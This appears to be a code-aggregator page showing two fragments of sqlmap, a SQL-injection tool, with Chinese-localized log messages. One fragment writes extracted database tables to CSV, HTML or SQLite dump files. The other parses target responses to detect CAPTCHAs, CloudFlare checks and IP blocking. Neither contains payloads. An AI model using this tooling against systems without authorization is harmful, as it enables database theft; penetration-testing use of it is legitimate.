            dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
            if not checkFile(dumpFileName, False):
                try:
                    openFile(dumpFileName, "w+b").close()
                except SqlmapSystemException:
                    raise
                except:
                    warnFile = True

                    _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
                    if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
                        _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))
                        dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower()))
                    else:
                        dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
            else:
                appendToFile = any((conf.limitStart, conf.limitStop))

                if not appendToFile:
                    count = 1
                    while True:
                        candidate = "%s.%d" % (dumpFileName, count)
                        if not checkFile(candidate, False):
                            try:
                                shutil.copyfile(dumpFileName, candidate)
                            except IOError:
                                pass
                            break
                        else:
                            count += 1

            dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE)

        count = int(tableValues["__infos__"]["count"])
        separator = str()
        field = 1
        fields = len(tableValues) - 1

        columns = prioritySortColumns(list(tableValues.keys()))

        if conf.col:
            cols = conf.col.split(',')
            columns = sorted(columns, key=lambda _: cols.index(_) if _ in cols else 0)

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                lines = "-" * (int(info["length"]) + 2)
                separator += "+%s" % lines

        separator += "+"
        self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table)))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            cols = []

            for column in columns:
                if column != "__infos__":
                    colType = Replication.INTEGER

                    for value in tableValues[column]['values']:
                        try:
                            if not value or value == " ":  # NULL
                                continue

                            int(value)
                        except ValueError:
                            colType = None
                            break

                    if colType is None:
                        colType = Replication.REAL

                        for value in tableValues[column]['values']:
                            try:
                                if not value or value == " ":  # NULL
                                    continue

                                float(value)
                            except ValueError:
                                colType = None
                                break

                    cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT))

            rtable = replication.createTable(table, cols)
        elif conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
            dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
            dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING)
            dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
            dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
            dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")

        if count == 1:
            self._write("[1 entry]")
        else:
            self._write("[%d entries]" % count)

        self._write(separator)

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]

                column = unsafeSQLIdentificatorNaming(column)
                maxlength = int(info["length"])
                blank = " " * (maxlength - len(column))

                self._write("| %s%s" % (column, blank), newline=False)

                if not appendToFile:
                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(column))
                        else:
                            dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(cgi.escape(column).encode("ascii", "xmlcharrefreplace")))

                field += 1

        if conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, "\n</tr>\n</thead>\n<tbody>\n")

        self._write("|\n%s" % separator)

        if conf.dumpFormat == DUMP_FORMAT.CSV:
            dataToDumpFile(dumpFP, "\n" if not appendToFile else "")

        elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.beginTransaction()

        if count > TRIM_STDOUT_DUMP_SIZE:
            warnMsg = "console output will be trimmed to "
            warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
            warnMsg += "large table size"
            logger.warning(warnMsg)

        for i in xrange(count):
            console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
            field = 1
            values = []

            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "<tr>")

            for column in columns:
                if column != "__infos__":
                    info = tableValues[column]

                    if len(info["values"]) <= i:
                        continue

                    if info["values"][i] is None:
                        value = u''
                    else:
                        value = getUnicode(info["values"][i])
                        value = DUMP_REPLACEMENTS.get(value, value)

                    values.append(value)
                    maxlength = int(info["length"])
                    blank = " " * (maxlength - len(value))
                    self._write("| %s%s" % (value, blank), newline=False, console=console)

                    if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
                        try:
                            mimetype = getText(magic.from_buffer(value, mime=True))
                            if any(mimetype.startswith(_) for _ in ("application", "image")):
                                if not os.path.isdir(dumpDbPath):
                                    os.makedirs(dumpDbPath)

                                _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
                                filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
                                warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
                                logger.warn(warnMsg)

                                with openFile(filepath, "w+b", None) as f:
                                    _ = safechardecode(value, True)
                                    f.write(_)

                        except magic.MagicException as ex:
                            logger.debug(getSafeExString(ex))

                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
                        else:
                            dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(cgi.escape(value).encode("ascii", "xmlcharrefreplace")))

                    field += 1

            if conf.dumpFormat == DUMP_FORMAT.SQLITE:
                try:
                    rtable.insert(values)
                except SqlmapValueException:
                    pass
            elif conf.dumpFormat == DUMP_FORMAT.CSV:
                dataToDumpFile(dumpFP, "\n")
            elif conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "</tr>\n")

            self._write("|", console=console)

        self._write("%s\n" % separator)

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.endTransaction()
            logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath))

        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "</tbody>\n</table>\n</body>\n</html>")
            else:
                dataToDumpFile(dumpFP, "\n")
            dumpFP.close()

            msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName)
            if not warnFile:
                logger.info(msg)
            else:
                logger.warn(msg)
Ejemplo n.º 59
0
def processResponse(page, responseHeaders, status=None):
    kb.processResponseCounter += 1

    page = page or ""

    parseResponse(
        page, responseHeaders
        if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status)

    if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS, ):
        kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
    else:
        kb.tableFrom = None

    if conf.parseErrors:
        msg = extractErrorMessage(page)

        if msg:
            logger.warning(u"解析的DBMS错误消息: '%s'" % msg.rstrip('.'))

    if kb.originalPage is None:
        for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
            match = re.search(regex, page)
            if match and PLACE.POST in conf.parameters:
                name, value = match.groups()
                if PLACE.POST in conf.paramDict and name in conf.paramDict[
                        PLACE.POST]:
                    if conf.paramDict[PLACE.POST][name] in page:
                        continue
                    else:
                        msg = u"要自动调整'%s'的值吗? [y/N]" % name

                        if not readInput(msg, default='N', boolean=True):
                            continue

                        conf.paramDict[PLACE.POST][name] = value
                conf.parameters[PLACE.POST] = re.sub(
                    "(?i)(%s=)[^&]+" % re.escape(name),
                    r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST])

    if not kb.browserVerification and re.search(r"(?i)browser.?verification",
                                                page or ""):
        kb.browserVerification = True
        warnMsg = u"检测潜在的浏览器验证保护机制"
        if re.search(r"(?i)CloudFlare", page):
            warnMsg += " (CloudFlare)"
        singleTimeWarnMessage(warnMsg)

    if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
        for match in re.finditer(r"(?si)<form.+?</form>", page):
            if re.search(r"(?i)captcha", match.group(0)):
                kb.captchaDetected = True
                warnMsg = u"检测到潜在的CAPTCHA保护机制"
                if re.search(r"(?i)<title>[^<]*CloudFlare", page):
                    warnMsg += " (CloudFlare)"
                singleTimeWarnMessage(warnMsg)
                break

    if re.search(BLOCKED_IP_REGEX, page):
        warnMsg = u"您的请求似乎已被目标服务器阻止"
        singleTimeWarnMessage(warnMsg)